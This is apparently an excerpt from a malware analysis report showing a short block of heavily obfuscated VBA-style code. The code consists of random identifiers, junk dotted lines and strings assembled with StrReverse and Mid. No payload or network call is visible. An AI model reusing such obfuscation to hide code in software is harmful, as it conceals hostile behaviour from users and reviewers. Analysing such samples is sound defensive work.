TkoklYqiNpjZFiaABkX.zltXGTtDoiVJLNUAiUmfzjsiFTwP.brVEqZirQdRfn.jUXNrOZRjzswOsOSnViANnzFUo
JSrVzLtJKiFGBdJKYLtKpczpv.mcwURsDcQwpc.kViEjhPcWDcbubdwjUBZwYQMpQN.ZNKVvRJpGYOI
suLThRwllfS = YQYTsXRafji + StrReverse(ACrPRczN) + DuLEWOSUNDJs
hbnlkNtGUHl = jcRnpI + Mid(suLThRwllfS, jhwqUwt, jKqVJzn) + ttaIrs
svctijhrXzlkJvnSVGjMLvzmqaXuK.DMdRaZlJfLaoEUBFwL.aFCLjlwvpCDJmh.tZGsUOhLbUlXr
llbMojOBAzfddwHbCnGBac.GqrstaruOFQERbwwzosYJMrklEzRz.qEImVWwqVaJCRYMsp.FpIMhDouwHHp
ZwzPMviGaBHTSPGuTXtOz.IHdWFzbXpjfzkGUI.wKufoBtPnizf.OacNoplpqjiCLYoTfAaKXwEE
TGkHRPcsFUEXWRfXKGdPccd.wIhZULSWXjUjA.ZRCKGDjvIjvmMpaoErcfKIi.XtChzqwvWbhMN
ytgUBhjkgbksad = WZVAzwdh + hbnlkNtGUHl + cwicdGVXQjzmMB
wSmzQlINblUD.KIjZpvZlRNTpBER.NfKXSEhMiRNTiGqICKMHza.RbRiETJOjrkOGKfrGbXuYhFCKXKm
rJdmitvBZdtUDhcwrkwXTGjcjY.WPUhIWXpiGcYRjqhzdZVzdDS.LPXkdBGJJZmFwkwfsusPMhodZ.wGDksLBuwHAEEEVOIJDbBtb
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.